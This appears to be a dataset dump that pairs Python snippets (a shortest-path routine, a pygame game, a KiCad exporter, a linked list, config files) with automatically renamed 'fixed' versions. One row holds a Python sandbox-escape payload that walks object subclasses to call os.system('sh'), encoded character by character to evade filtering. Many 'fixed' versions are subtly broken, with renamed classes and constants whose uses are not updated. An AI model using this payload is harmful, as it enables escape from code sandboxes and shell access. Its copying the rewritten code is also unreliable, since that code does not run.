content stringlengths 7 1.05M | fixed_cases stringlengths 1 1.28M |
|---|---|
"""
Shortest path: Find the shortest path (of neighbors) from s to v for all v
"""
def shortest_path(s, v, memoize={}):
"""
Brute force shortest path from v to s
"""
if (s,v) in memoize:
return memoize[(s,v)]
shortest = None
best_neighbor = None
for neighbor in v.neighbors:
possibly_shortest_path, next_neighbors = shortest_path(s, neighbor)
possibly_shortest_path += v.dist(neighbor)
if not shortest or possibly_shortest_path < shortest:
path = next_neighbors + [neighbor]
shortest = possibly_shortest_path
if not shortest:
return 0, [s]
memoize[(s,v)] = (shortest, path)
return shortest, path
def test_shortest_path():
"""
Simple Graph to test
S -> A -> B -> C -> V
5 5 5 5
Distance should be 20
"""
s = SimpleDirectedNode({})
a = SimpleDirectedNode({s:5})
b = SimpleDirectedNode({a:5})
c = SimpleDirectedNode({b:5})
v = SimpleDirectedNode({c:5})
calculated_shortest_distance = shortest_path(s, v)[0]
assert(calculated_shortest_distance == 20)
class SimpleDirectedNode:
def __init__(self, edges):
self.neighbors = []
self._weights = {}
for node, weight in edges.items():
self.neighbors.append(node)
self._weights[node] = weight
def dist(self, neighbor):
return self._weights[neighbor]
if __name__ == "__main__":
test_shortest_path()
| """
Shortest path: Find the shortest path (of neighbors) from s to v for all v
"""
def shortest_path(s, v, memoize={}):
"""
Brute force shortest path from v to s
"""
if (s, v) in memoize:
return memoize[s, v]
shortest = None
best_neighbor = None
for neighbor in v.neighbors:
(possibly_shortest_path, next_neighbors) = shortest_path(s, neighbor)
possibly_shortest_path += v.dist(neighbor)
if not shortest or possibly_shortest_path < shortest:
path = next_neighbors + [neighbor]
shortest = possibly_shortest_path
if not shortest:
return (0, [s])
memoize[s, v] = (shortest, path)
return (shortest, path)
def test_shortest_path():
"""
Simple Graph to test
S -> A -> B -> C -> V
5 5 5 5
Distance should be 20
"""
s = simple_directed_node({})
a = simple_directed_node({s: 5})
b = simple_directed_node({a: 5})
c = simple_directed_node({b: 5})
v = simple_directed_node({c: 5})
calculated_shortest_distance = shortest_path(s, v)[0]
assert calculated_shortest_distance == 20
class Simpledirectednode:
def __init__(self, edges):
self.neighbors = []
self._weights = {}
for (node, weight) in edges.items():
self.neighbors.append(node)
self._weights[node] = weight
def dist(self, neighbor):
return self._weights[neighbor]
if __name__ == '__main__':
test_shortest_path() |
pygame, random, sys
pygame.init()
screen_width, screen_height = 400, 600
SCORE_FONT = pygame.font.SysFont('comicsans', 40)
screen = pygame.display.set_mode((screen_width,screen_height))
pygame.display.set_caption("Stack towers")
BLACK = (0,0,0)
RED = (255,0,0)
BLUE = (0,0,255)
GREEN = (0,255,0)
YELLOW = (255,212,69)
WHITE = (255,255,255)
PINK = (255, 105, 180)
colors = [RED, BLUE, GREEN, YELLOW, WHITE, PINK]
cur_rec = None
move_left = True
clock = pygame.time.Clock()
length = 200
score = 0
class Block:
def __init__(self, length, y=screen_height-50):
self.color = random.choice(colors)
self.shape = pygame.Rect((screen_width//4, y),(length,50))
rectangles=[Block(200),Block(200,screen_height-100)]
going_down = False
went_down = 0
while True:
for event in pygame.event.get():
if event.type == pygame.QUIT:
sys.exit()
pygame.quit()
elif event.type == pygame.KEYDOWN:
if event.key == pygame.K_SPACE and cur_rec:
h = rectangles[-2]
h = h.shape.x+h.shape.width
cover = cur_rec.shape.x+cur_rec.shape.width
if cover != h:
if cover < h:
length -= h-cover
cur_rec.shape.x = rectangles[-2].shape.x
elif cover > h:
length -= cover-h
cur_rec.shape.x = h-length
if length <= 0:
print('You lost, score: ' + str(score))
pygame.quit()
sys.exit()
score += 1
while not cur_rec.shape.colliderect(rectangles[-2].shape):
cur_rec.shape.y += 1
cur_rec.shape.y-=1
cur_rec.shape.width = length
going_down = True
while going_down:
went_down += 3
for rectangle in rectangles:
rectangle.shape.y += 3
screen.fill(BLACK)
for num, rectangle in enumerate(rectangles):
if not rectangle.shape.y > screen_width+200:
pygame.draw.rect(screen, rectangle.color, rectangle.shape)
score_text = SCORE_FONT.render("Score: " + str(score), 1, RED)
screen.blit(score_text, (10, 10))
pygame.display.update()
if went_down >= 48:
going_down = False
went_down = 0
cur_rec = None
if not cur_rec:
cur_rec = Block(length, screen_height-350)
rectangles.append(cur_rec)
if cur_rec:
if move_left:
cur_rec.shape.x -= 3
if cur_rec.shape.x <= 0:
move_left = False
else:
cur_rec.shape.x += 3
if (cur_rec.shape.x+cur_rec.shape.width) >= screen_width:
move_left = True
screen.fill(BLACK)
for num, rectangle in enumerate(rectangles):
if not rectangle.shape.y > screen_width+200:
pygame.draw.rect(screen, rectangle.color, rectangle.shape)
score_text = SCORE_FONT.render("Score: " + str(score), 1, RED)
screen.blit(score_text, (10, 10))
pygame.display.update()
clock.tick(60)
| (pygame, random, sys)
pygame.init()
(screen_width, screen_height) = (400, 600)
score_font = pygame.font.SysFont('comicsans', 40)
screen = pygame.display.set_mode((screen_width, screen_height))
pygame.display.set_caption('Stack towers')
black = (0, 0, 0)
red = (255, 0, 0)
blue = (0, 0, 255)
green = (0, 255, 0)
yellow = (255, 212, 69)
white = (255, 255, 255)
pink = (255, 105, 180)
colors = [RED, BLUE, GREEN, YELLOW, WHITE, PINK]
cur_rec = None
move_left = True
clock = pygame.time.Clock()
length = 200
score = 0
class Block:
def __init__(self, length, y=screen_height - 50):
self.color = random.choice(colors)
self.shape = pygame.Rect((screen_width // 4, y), (length, 50))
rectangles = [block(200), block(200, screen_height - 100)]
going_down = False
went_down = 0
while True:
for event in pygame.event.get():
if event.type == pygame.QUIT:
sys.exit()
pygame.quit()
elif event.type == pygame.KEYDOWN:
if event.key == pygame.K_SPACE and cur_rec:
h = rectangles[-2]
h = h.shape.x + h.shape.width
cover = cur_rec.shape.x + cur_rec.shape.width
if cover != h:
if cover < h:
length -= h - cover
cur_rec.shape.x = rectangles[-2].shape.x
elif cover > h:
length -= cover - h
cur_rec.shape.x = h - length
if length <= 0:
print('You lost, score: ' + str(score))
pygame.quit()
sys.exit()
score += 1
while not cur_rec.shape.colliderect(rectangles[-2].shape):
cur_rec.shape.y += 1
cur_rec.shape.y -= 1
cur_rec.shape.width = length
going_down = True
while going_down:
went_down += 3
for rectangle in rectangles:
rectangle.shape.y += 3
screen.fill(BLACK)
for (num, rectangle) in enumerate(rectangles):
if not rectangle.shape.y > screen_width + 200:
pygame.draw.rect(screen, rectangle.color, rectangle.shape)
score_text = SCORE_FONT.render('Score: ' + str(score), 1, RED)
screen.blit(score_text, (10, 10))
pygame.display.update()
if went_down >= 48:
going_down = False
went_down = 0
cur_rec = None
if not cur_rec:
cur_rec = block(length, screen_height - 350)
rectangles.append(cur_rec)
if cur_rec:
if move_left:
cur_rec.shape.x -= 3
if cur_rec.shape.x <= 0:
move_left = False
else:
cur_rec.shape.x += 3
if cur_rec.shape.x + cur_rec.shape.width >= screen_width:
move_left = True
screen.fill(BLACK)
for (num, rectangle) in enumerate(rectangles):
if not rectangle.shape.y > screen_width + 200:
pygame.draw.rect(screen, rectangle.color, rectangle.shape)
score_text = SCORE_FONT.render('Score: ' + str(score), 1, RED)
screen.blit(score_text, (10, 10))
pygame.display.update()
clock.tick(60) |
def main():
pins = {}
subconnectors = ["A", "B", "C", "D"]
curr_connector = None
with open("pins.txt", "r") as f:
for line in f:
l = line.split("#")[0].strip()
if len(l) == 0:
continue
if l[0] == '.':
curr_connector = l[1:]
for sc in subconnectors:
pins[f"{curr_connector[-1]}{sc}"] = []
continue
l = l.split(" ")
assert len(l) == (len(subconnectors) + 1)
for (sc, pin_name) in zip(subconnectors, l[1:]):
pins[f"{curr_connector[-1]}{sc}"].append((l[0], pin_name))
lib_name = "kria_k26"
comp_name = "KRIA_K26"
with open(f"../{lib_name}.kicad_sym", "w") as f:
print(f'(kicad_symbol_lib (version 20201005) (generator kria_k26_import)', file=f)
print(f' (symbol "{lib_name}:{comp_name}" (in_bom yes) (on_board yes)', file=f)
print(f' (property "Reference" "SOM" (id 0) (at 0 1.27 0)', file=f)
print(f' (effects (font (size 1.27 1.27)))', file=f)
print(f' )', file=f)
print(f' (property "Value" "{lib_name}" (id 1) (at 0 3.81 0)', file=f)
print(f' (effects (font (size 1.27 1.27)))', file=f)
print(f' )', file=f)
print(f' (property "Footprint" "" (id 2) (at 0 0 0)', file=f)
print(f' (effects (font (size 1.27 1.27)) hide)', file=f)
print(f' )', file=f)
print(f' (property "Datasheet" "" (id 3) (at 0 0 0)', file=f)
print(f' (effects (font (size 1.27 1.27)) hide)', file=f)
print(f' )', file=f)
for (i, (unit, pins)) in enumerate(sorted(pins.items(), key=lambda x: x[0])):
pin_x = -20.32
pin_y = -2.54
pin_dy = -2.54
pin_len = 5.08
print(f' (symbol "{comp_name}_{i+1}_1"', file=f)
for pin_num, pin_name in pins:
print(f' (pin passive line (at {pin_x:.2f} {pin_y:.2f} 0) (length {pin_len})', file=f)
print(f' (name "{pin_name}" (effects (font (size 1.27 1.27))))', file=f)
print(f' (number "{unit}{pin_num}" (effects (font (size 1.27 1.27))))', file=f)
print(f' )', file=f)
pin_y += pin_dy
print(f' (rectangle (start {pin_x + pin_len:.2f} 0) (end {-(pin_x + pin_len):.2f} {pin_y:.2f})', file=f)
print(f' (stroke (width 0.1524)) (fill (type background))', file=f)
print(f' )', file=f)
print(f' )', file=f)
print(f' )', file=f)
print(f')', file=f)
if __name__ == '__main__':
main()
| def main():
pins = {}
subconnectors = ['A', 'B', 'C', 'D']
curr_connector = None
with open('pins.txt', 'r') as f:
for line in f:
l = line.split('#')[0].strip()
if len(l) == 0:
continue
if l[0] == '.':
curr_connector = l[1:]
for sc in subconnectors:
pins[f'{curr_connector[-1]}{sc}'] = []
continue
l = l.split(' ')
assert len(l) == len(subconnectors) + 1
for (sc, pin_name) in zip(subconnectors, l[1:]):
pins[f'{curr_connector[-1]}{sc}'].append((l[0], pin_name))
lib_name = 'kria_k26'
comp_name = 'KRIA_K26'
with open(f'../{lib_name}.kicad_sym', 'w') as f:
print(f'(kicad_symbol_lib (version 20201005) (generator kria_k26_import)', file=f)
print(f' (symbol "{lib_name}:{comp_name}" (in_bom yes) (on_board yes)', file=f)
print(f' (property "Reference" "SOM" (id 0) (at 0 1.27 0)', file=f)
print(f' (effects (font (size 1.27 1.27)))', file=f)
print(f' )', file=f)
print(f' (property "Value" "{lib_name}" (id 1) (at 0 3.81 0)', file=f)
print(f' (effects (font (size 1.27 1.27)))', file=f)
print(f' )', file=f)
print(f' (property "Footprint" "" (id 2) (at 0 0 0)', file=f)
print(f' (effects (font (size 1.27 1.27)) hide)', file=f)
print(f' )', file=f)
print(f' (property "Datasheet" "" (id 3) (at 0 0 0)', file=f)
print(f' (effects (font (size 1.27 1.27)) hide)', file=f)
print(f' )', file=f)
for (i, (unit, pins)) in enumerate(sorted(pins.items(), key=lambda x: x[0])):
pin_x = -20.32
pin_y = -2.54
pin_dy = -2.54
pin_len = 5.08
print(f' (symbol "{comp_name}_{i + 1}_1"', file=f)
for (pin_num, pin_name) in pins:
print(f' (pin passive line (at {pin_x:.2f} {pin_y:.2f} 0) (length {pin_len})', file=f)
print(f' (name "{pin_name}" (effects (font (size 1.27 1.27))))', file=f)
print(f' (number "{unit}{pin_num}" (effects (font (size 1.27 1.27))))', file=f)
print(f' )', file=f)
pin_y += pin_dy
print(f' (rectangle (start {pin_x + pin_len:.2f} 0) (end {-(pin_x + pin_len):.2f} {pin_y:.2f})', file=f)
print(f' (stroke (width 0.1524)) (fill (type background))', file=f)
print(f' )', file=f)
print(f' )', file=f)
print(f' )', file=f)
print(f')', file=f)
if __name__ == '__main__':
main() |
stations = [
'12th St. Oakland City Center',
'16th St. Mission (SF)',
'19th St. Oakland',
'24th St. Mission (SF)',
'Ashby (Berkeley)',
'Balboa Park (SF)',
'Bay Fair (San Leandro)',
'Castro Valley',
'Civic Center (SF)',
'Coliseum/Oakland Airport',
'Colma',
'Concord',
'Daly City',
'Downtown Berkeley',
'Dublin/Pleasanton',
'El Cerrito del Norte',
'El Cerrito Plaza',
'Embarcadero (SF)',
'Fremont',
'Fruitvale (Oakland)',
'Glen Park (SF)',
'Hayward',
'Lafayette',
'Lake Merritt (Oakland)',
'MacArthur (Oakland)',
'Millbrae',
'Montgomery St. (SF)',
'North Berkeley',
'North Concord/Martinez',
'Orinda',
'Pittsburg/Bay Point',
'Pleasant Hill',
'Powell St. (SF)',
'Richmond',
'Rockridge (Oakland)',
'San Bruno',
'San Francisco Int\'l Airport',
'San Leandro',
'South Hayward',
'South San Francisco',
'Union City',
'Walnut Creek',
'West Dublin',
'West Oakland'
]
| stations = ['12th St. Oakland City Center', '16th St. Mission (SF)', '19th St. Oakland', '24th St. Mission (SF)', 'Ashby (Berkeley)', 'Balboa Park (SF)', 'Bay Fair (San Leandro)', 'Castro Valley', 'Civic Center (SF)', 'Coliseum/Oakland Airport', 'Colma', 'Concord', 'Daly City', 'Downtown Berkeley', 'Dublin/Pleasanton', 'El Cerrito del Norte', 'El Cerrito Plaza', 'Embarcadero (SF)', 'Fremont', 'Fruitvale (Oakland)', 'Glen Park (SF)', 'Hayward', 'Lafayette', 'Lake Merritt (Oakland)', 'MacArthur (Oakland)', 'Millbrae', 'Montgomery St. (SF)', 'North Berkeley', 'North Concord/Martinez', 'Orinda', 'Pittsburg/Bay Point', 'Pleasant Hill', 'Powell St. (SF)', 'Richmond', 'Rockridge (Oakland)', 'San Bruno', "San Francisco Int'l Airport", 'San Leandro', 'South Hayward', 'South San Francisco', 'Union City', 'Walnut Creek', 'West Dublin', 'West Oakland'] |
def palindrome(word, index):
second_index = len(word) - 1 - index
if index == len(word) // 2:
return f"{word} is a palindrome"
if word[index] == word[second_index]:
return palindrome(word, index + 1)
else:
return f"{word} is not a palindrome"
print(palindrome("abcba", 0))
print(palindrome("peter", 0))
| def palindrome(word, index):
second_index = len(word) - 1 - index
if index == len(word) // 2:
return f'{word} is a palindrome'
if word[index] == word[second_index]:
return palindrome(word, index + 1)
else:
return f'{word} is not a palindrome'
print(palindrome('abcba', 0))
print(palindrome('peter', 0)) |
# Configuration file for the Sphinx documentation builder.
# -- Project information
project = 'PDFsak'
copyright = '2021, Raffaele Mancuso'
author = 'Raffaele Mancuso'
release = '1.1'
version = '1.1.1'
# -- General configuration
extensions = [
'sphinx.ext.duration',
'sphinx.ext.doctest',
'sphinx.ext.autodoc',
'sphinx.ext.autosummary',
'sphinx.ext.intersphinx',
]
intersphinx_mapping = {
'python': ('https://docs.python.org/3/', None),
'sphinx': ('https://www.sphinx-doc.org/en/master/', None),
}
intersphinx_disabled_domains = ['std']
templates_path = ['_templates']
# -- Options for HTML output
html_theme = 'sphinx_rtd_theme'
# -- Options for EPUB output
epub_show_urls = 'footnote'
| project = 'PDFsak'
copyright = '2021, Raffaele Mancuso'
author = 'Raffaele Mancuso'
release = '1.1'
version = '1.1.1'
extensions = ['sphinx.ext.duration', 'sphinx.ext.doctest', 'sphinx.ext.autodoc', 'sphinx.ext.autosummary', 'sphinx.ext.intersphinx']
intersphinx_mapping = {'python': ('https://docs.python.org/3/', None), 'sphinx': ('https://www.sphinx-doc.org/en/master/', None)}
intersphinx_disabled_domains = ['std']
templates_path = ['_templates']
html_theme = 'sphinx_rtd_theme'
epub_show_urls = 'footnote' |
s = '().__class__.__bases__[0].__subclasses__()[59].__init__.func_globals["sys"].modules["os.path"].os.system("sh")'
s2 = '+'.join(['\'{}\''.format(x) for x in s])
print('(lambda:sandboxed_eval({}))()'.format(s2))
| s = '().__class__.__bases__[0].__subclasses__()[59].__init__.func_globals["sys"].modules["os.path"].os.system("sh")'
s2 = '+'.join(["'{}'".format(x) for x in s])
print('(lambda:sandboxed_eval({}))()'.format(s2)) |
"""
Copyright 2017 Neural Networks and Deep Learning lab, MIPT
Licensed under the Apache License, Version 2.0 (the "License");
you may not use this file except in compliance with the License.
You may obtain a copy of the License at
http://www.apache.org/licenses/LICENSE-2.0
Unless required by applicable law or agreed to in writing, software
distributed under the License is distributed on an "AS IS" BASIS,
WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
See the License for the specific language governing permissions and
limitations under the License.
"""
REQ_URLS = {
'http://lnsigo.mipt.ru/export/deeppavlov_data/go_bot_rnn.tar.gz',
'http://lnsigo.mipt.ru/export/deeppavlov_data/intents.tar.gz',
'http://lnsigo.mipt.ru/export/deeppavlov_data/ner.tar.gz',
'http://lnsigo.mipt.ru/export/deeppavlov_data/error_model.tar.gz',
'http://lnsigo.mipt.ru/export/deeppavlov_data/vocabs.tar.gz',
'http://lnsigo.mipt.ru/export/deeppavlov_data/slots.tar.gz',
'http://lnsigo.mipt.ru/export/deeppavlov_data/embeddings/dstc2_fasttext_model_100.bin',
'http://lnsigo.mipt.ru/export/datasets/dstc2.tar.gz'
}
OPT_URLS = {
'http://lnsigo.mipt.ru/export/deeppavlov_data/embeddings/wiki.en.bin'
}
ALL_URLS = REQ_URLS.union(OPT_URLS)
EMBEDDING_URLS = {
'http://lnsigo.mipt.ru/export/deeppavlov_data/embeddings/wiki.en.bin',
'http://lnsigo.mipt.ru/export/deeppavlov_data/embeddings/dstc2_fasttext_model_100.bin'
}
DATA_URLS = {
'http://lnsigo.mipt.ru/export/datasets/dstc2.tar.gz'
}
| """
Copyright 2017 Neural Networks and Deep Learning lab, MIPT
Licensed under the Apache License, Version 2.0 (the "License");
you may not use this file except in compliance with the License.
You may obtain a copy of the License at
http://www.apache.org/licenses/LICENSE-2.0
Unless required by applicable law or agreed to in writing, software
distributed under the License is distributed on an "AS IS" BASIS,
WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
See the License for the specific language governing permissions and
limitations under the License.
"""
req_urls = {'http://lnsigo.mipt.ru/export/deeppavlov_data/go_bot_rnn.tar.gz', 'http://lnsigo.mipt.ru/export/deeppavlov_data/intents.tar.gz', 'http://lnsigo.mipt.ru/export/deeppavlov_data/ner.tar.gz', 'http://lnsigo.mipt.ru/export/deeppavlov_data/error_model.tar.gz', 'http://lnsigo.mipt.ru/export/deeppavlov_data/vocabs.tar.gz', 'http://lnsigo.mipt.ru/export/deeppavlov_data/slots.tar.gz', 'http://lnsigo.mipt.ru/export/deeppavlov_data/embeddings/dstc2_fasttext_model_100.bin', 'http://lnsigo.mipt.ru/export/datasets/dstc2.tar.gz'}
opt_urls = {'http://lnsigo.mipt.ru/export/deeppavlov_data/embeddings/wiki.en.bin'}
all_urls = REQ_URLS.union(OPT_URLS)
embedding_urls = {'http://lnsigo.mipt.ru/export/deeppavlov_data/embeddings/wiki.en.bin', 'http://lnsigo.mipt.ru/export/deeppavlov_data/embeddings/dstc2_fasttext_model_100.bin'}
data_urls = {'http://lnsigo.mipt.ru/export/datasets/dstc2.tar.gz'} |
LIB_IMPORT = """
from qiskit import QuantumCircuit
from qiskit import execute, Aer
from qiskit.visualization import *"""
CIRCUIT_SCRIPT = """
circuit = build_state()
circuit.measure_all()
figure = circuit.draw('mpl')
output = figure.savefig('circuit.png')"""
PLOT_SCRIPT = """
backend = Aer.get_backend("qasm_simulator")
job = execute(circuit,backend=backend, shots =1000)
counts = job.result().get_counts()
plot_histogram(counts).savefig('plot.png', dpi=100, quality=90)""" | lib_import = '\nfrom qiskit import QuantumCircuit\nfrom qiskit import execute, Aer\nfrom qiskit.visualization import *'
circuit_script = "\ncircuit = build_state()\ncircuit.measure_all()\nfigure = circuit.draw('mpl')\noutput = figure.savefig('circuit.png')"
plot_script = '\nbackend = Aer.get_backend("qasm_simulator")\njob = execute(circuit,backend=backend, shots =1000)\ncounts = job.result().get_counts()\nplot_histogram(counts).savefig(\'plot.png\', dpi=100, quality=90)' |
class Solution(object):
def reverse(self, x):
"""
:type x: int
:rtype: int
"""
answer = 0
if x >=0 :
while x > 0:
answer = answer*10 + x%10
x = x/10
if answer > 2147483647:
return 0
else:
return answer
else:
x=abs(x)
while x > 0:
answer = answer*10 + x%10
x = x/10
if -answer < -2147483648:
return 0
else:
return -answer
| class Solution(object):
def reverse(self, x):
"""
:type x: int
:rtype: int
"""
answer = 0
if x >= 0:
while x > 0:
answer = answer * 10 + x % 10
x = x / 10
if answer > 2147483647:
return 0
else:
return answer
else:
x = abs(x)
while x > 0:
answer = answer * 10 + x % 10
x = x / 10
if -answer < -2147483648:
return 0
else:
return -answer |
def isMAC48Address(inputString):
letters = ['A','B', 'C','D','E','F']
string = inputString.split('-')
input = len(string)
if input != 6:
return False
for i in range(input):
subInput = string[i]
subString = len(subInput)
if subString != 2:
return False
for j in range(subString):
if ((subInput[j].isnumeric() == False) and (subInput[j] not in letters)):
return False
return True | def is_mac48_address(inputString):
letters = ['A', 'B', 'C', 'D', 'E', 'F']
string = inputString.split('-')
input = len(string)
if input != 6:
return False
for i in range(input):
sub_input = string[i]
sub_string = len(subInput)
if subString != 2:
return False
for j in range(subString):
if subInput[j].isnumeric() == False and subInput[j] not in letters:
return False
return True |
#!/usr/bin/env python
## Global macros
SNIFF_TIMEOUT = 5
AGGREGATION_TIMEOUT = 5
ACTIVE_TIMEOUT = 20 ## If a flow doesn't have a packet traversing a router during ACTIVE_TIMEOUT, it will be removed from monitored flows
BATCH_SIZE = 1000
MAX_BG_TRAFFIC_TO_READ = 5000
MIN_REPORT_SIZE = 600 ## Only send summary report if number of traversing packets greater than this threshold
BG_TRAFFIC_SIZE = 900 ## Background traffic
SVD_MATRIX_RANK = 12 ## NUM_HEADER_FIELDS = 22
KMEAN_NUM_CLUSTERS = 200
MAX_SUMMARY_ID = 100
## Global variables
## List containing background traffic
g_background_traffic = {}
| sniff_timeout = 5
aggregation_timeout = 5
active_timeout = 20
batch_size = 1000
max_bg_traffic_to_read = 5000
min_report_size = 600
bg_traffic_size = 900
svd_matrix_rank = 12
kmean_num_clusters = 200
max_summary_id = 100
g_background_traffic = {} |
class AirTable:
# AirTable configuration variables
API_KEY = ''
BASE = ''
PROJECT_TABLE_NAME = ''
PROJECT_PHASE_OWNERS_TABLE = ''
PROJECT_PHASE_FIELD = ''
ASSIGNEE_FIELD = '' | class Airtable:
api_key = ''
base = ''
project_table_name = ''
project_phase_owners_table = ''
project_phase_field = ''
assignee_field = '' |
n=int(input("Enter a number:"))
tot=0
while(n>0):
dig=n%10
tot=tot+dig
n=n//10
print("The total sum of digits is:",tot)
| n = int(input('Enter a number:'))
tot = 0
while n > 0:
dig = n % 10
tot = tot + dig
n = n // 10
print('The total sum of digits is:', tot) |
class Node:
'''This class is just for creating a Node with some data, thats why we set the refrence field to Null'''
def __init__(self, data):
self.data = data
self.nref = None
self.pref = None
class Doubly_LL:
'''This class is for performing the operations to the node which we create using class Node'''
def __init__(self):
self.head = None # initially we take empty linked list
def print_LL_forward(self):
'''This methord is for traversing doubly Linked List in the forward direction'''
if self.head is None: # if the linked list is empty
print('The linked list is empty')
else:
pn=0
n = self.head
while n is not None:
print(n.data, end=(' --> '))
n = n.nref
pn+=1
print()
return pn
def print_LL_reverse(self):
'''This methord is for traversing doubly Linked List in the backward direction'''
print('\n\n\n')
if self.head == None: # if the linked list is empty
print('The linked list is empty')
else:
n = self.head # set the head node as n
while n.nref is not None: # first we reach at the last node
n = n.nref
while n is not None: # then we start reverse traversing
print(n.data, end=' --> ')
n = n.pref
def add_begin(self, data):
'''This methord add new node at the begining of the doubly linked list'''
new_node = Node(data)
if self.head is None:
self.head = new_node
else:
new_node.nref = self.head
self.head.pref = new_node
self.head = new_node
def add_end(self, data):
'''This methord add a new node at the end of the doubly linked list'''
new_node = Node(data)
if self.head == None:
self.head = new_node
else:
n = self.head
while n.nref is not None:
n = n.nref
n.nref = new_node
new_node.pref = n
def one_step_forward(self, x):
'''This step move the current pointer one step forward from the current node'''
n = self.head
while n is not None:
if x==n.data:
break
n = n.nref
n = n.nref
next_node = n
return next_node.data
def one_step_backward(self, x):
'''This step move the current pointer one step backward from the current node'''
n = self.head
while n is not None:
if x==n.nref.data:
break
n = n.nref
previous_node = n
return previous_node.data
def add_after(self,data,x):
n = self.head
while n is not None:
if x == n.data:
break
n = n.nref
if n is None:
print("Given Node is not presnt in Linked List!")
elif n.nref is None:
new_node = Node(data)
n.nref = new_node
new_node.pref = n
else:
new_node = Node(data)
n.nref.pref = new_node
new_node.nref = n.nref
n.nref = new_node
new_node.pref = n
if __name__ == '__main__':
mynode = Doubly_LL()
mynode.add_begin('5')
mynode.print_LL_forward()
mynode.add_begin('4')
mynode.print_LL_forward()
mynode.add_begin('3')
mynode.print_LL_forward()
mynode.add_begin('2')
mynode.print_LL_forward()
mynode.add_begin('1')
mynode.print_LL_forward()
mynode.add_end('6')
mynode.print_LL_forward()
mynode.add_end('7')
mynode.print_LL_forward()
print(mynode.one_step_backward('2'))
print(mynode.one_step_forward('4')) | class Node:
"""This class is just for creating a Node with some data, thats why we set the refrence field to Null"""
def __init__(self, data):
self.data = data
self.nref = None
self.pref = None
class Doubly_Ll:
"""This class is for performing the operations to the node which we create using class Node"""
def __init__(self):
self.head = None
def print_ll_forward(self):
"""This methord is for traversing doubly Linked List in the forward direction"""
if self.head is None:
print('The linked list is empty')
else:
pn = 0
n = self.head
while n is not None:
print(n.data, end=' --> ')
n = n.nref
pn += 1
print()
return pn
def print_ll_reverse(self):
"""This methord is for traversing doubly Linked List in the backward direction"""
print('\n\n\n')
if self.head == None:
print('The linked list is empty')
else:
n = self.head
while n.nref is not None:
n = n.nref
while n is not None:
print(n.data, end=' --> ')
n = n.pref
def add_begin(self, data):
"""This methord add new node at the begining of the doubly linked list"""
new_node = node(data)
if self.head is None:
self.head = new_node
else:
new_node.nref = self.head
self.head.pref = new_node
self.head = new_node
def add_end(self, data):
"""This methord add a new node at the end of the doubly linked list"""
new_node = node(data)
if self.head == None:
self.head = new_node
else:
n = self.head
while n.nref is not None:
n = n.nref
n.nref = new_node
new_node.pref = n
def one_step_forward(self, x):
"""This step move the current pointer one step forward from the current node"""
n = self.head
while n is not None:
if x == n.data:
break
n = n.nref
n = n.nref
next_node = n
return next_node.data
def one_step_backward(self, x):
"""This step move the current pointer one step backward from the current node"""
n = self.head
while n is not None:
if x == n.nref.data:
break
n = n.nref
previous_node = n
return previous_node.data
def add_after(self, data, x):
n = self.head
while n is not None:
if x == n.data:
break
n = n.nref
if n is None:
print('Given Node is not presnt in Linked List!')
elif n.nref is None:
new_node = node(data)
n.nref = new_node
new_node.pref = n
else:
new_node = node(data)
n.nref.pref = new_node
new_node.nref = n.nref
n.nref = new_node
new_node.pref = n
if __name__ == '__main__':
mynode = doubly_ll()
mynode.add_begin('5')
mynode.print_LL_forward()
mynode.add_begin('4')
mynode.print_LL_forward()
mynode.add_begin('3')
mynode.print_LL_forward()
mynode.add_begin('2')
mynode.print_LL_forward()
mynode.add_begin('1')
mynode.print_LL_forward()
mynode.add_end('6')
mynode.print_LL_forward()
mynode.add_end('7')
mynode.print_LL_forward()
print(mynode.one_step_backward('2'))
print(mynode.one_step_forward('4')) |
#
# PySNMP MIB module ZYXEL-IF-LOOPBACK-MIB (http://snmplabs.com/pysmi)
# ASN.1 source file:///Users/davwang4/Dev/mibs.snmplabs.com/asn1/ZYXEL-IF-LOOPBACK-MIB
# Produced by pysmi-0.3.4 at Mon Apr 29 21:44:07 2019
# On host DAVWANG4-M-1475 platform Darwin version 18.5.0 by user davwang4
# Using Python version 3.7.3 (default, Mar 27 2019, 09:23:15)
#
OctetString, Integer, ObjectIdentifier = mibBuilder.importSymbols("ASN1", "OctetString", "Integer", "ObjectIdentifier")
NamedValues, = mibBuilder.importSymbols("ASN1-ENUMERATION", "NamedValues")
ConstraintsIntersection, SingleValueConstraint, ValueSizeConstraint, ValueRangeConstraint, ConstraintsUnion = mibBuilder.importSymbols("ASN1-REFINEMENT", "ConstraintsIntersection", "SingleValueConstraint", "ValueSizeConstraint", "ValueRangeConstraint", "ConstraintsUnion")
ModuleCompliance, NotificationGroup = mibBuilder.importSymbols("SNMPv2-CONF", "ModuleCompliance", "NotificationGroup")
Counter32, ObjectIdentity, Counter64, ModuleIdentity, Integer32, Gauge32, MibScalar, MibTable, MibTableRow, MibTableColumn, TimeTicks, iso, Unsigned32, MibIdentifier, Bits, NotificationType, IpAddress = mibBuilder.importSymbols("SNMPv2-SMI", "Counter32", "ObjectIdentity", "Counter64", "ModuleIdentity", "Integer32", "Gauge32", "MibScalar", "MibTable", "MibTableRow", "MibTableColumn", "TimeTicks", "iso", "Unsigned32", "MibIdentifier", "Bits", "NotificationType", "IpAddress")
DisplayString, TextualConvention, RowStatus = mibBuilder.importSymbols("SNMPv2-TC", "DisplayString", "TextualConvention", "RowStatus")
esMgmt, = mibBuilder.importSymbols("ZYXEL-ES-SMI", "esMgmt")
zyxelIfLoopback = ModuleIdentity((1, 3, 6, 1, 4, 1, 890, 1, 15, 3, 28))
if mibBuilder.loadTexts: zyxelIfLoopback.setLastUpdated('201207010000Z')
if mibBuilder.loadTexts: zyxelIfLoopback.setOrganization('Enterprise Solution ZyXEL')
zyxelIfLoopbackSetup = MibIdentifier((1, 3, 6, 1, 4, 1, 890, 1, 15, 3, 28, 1))
zyIfLoopbackMaxNumberOfIfs = MibScalar((1, 3, 6, 1, 4, 1, 890, 1, 15, 3, 28, 1, 1), Integer32()).setMaxAccess("readonly")
if mibBuilder.loadTexts: zyIfLoopbackMaxNumberOfIfs.setStatus('current')
zyxelIfLoopbackTable = MibTable((1, 3, 6, 1, 4, 1, 890, 1, 15, 3, 28, 1, 2), )
if mibBuilder.loadTexts: zyxelIfLoopbackTable.setStatus('current')
zyxelIfLoopbackEntry = MibTableRow((1, 3, 6, 1, 4, 1, 890, 1, 15, 3, 28, 1, 2, 1), ).setIndexNames((0, "ZYXEL-IF-LOOPBACK-MIB", "zyIfLoopbackId"))
if mibBuilder.loadTexts: zyxelIfLoopbackEntry.setStatus('current')
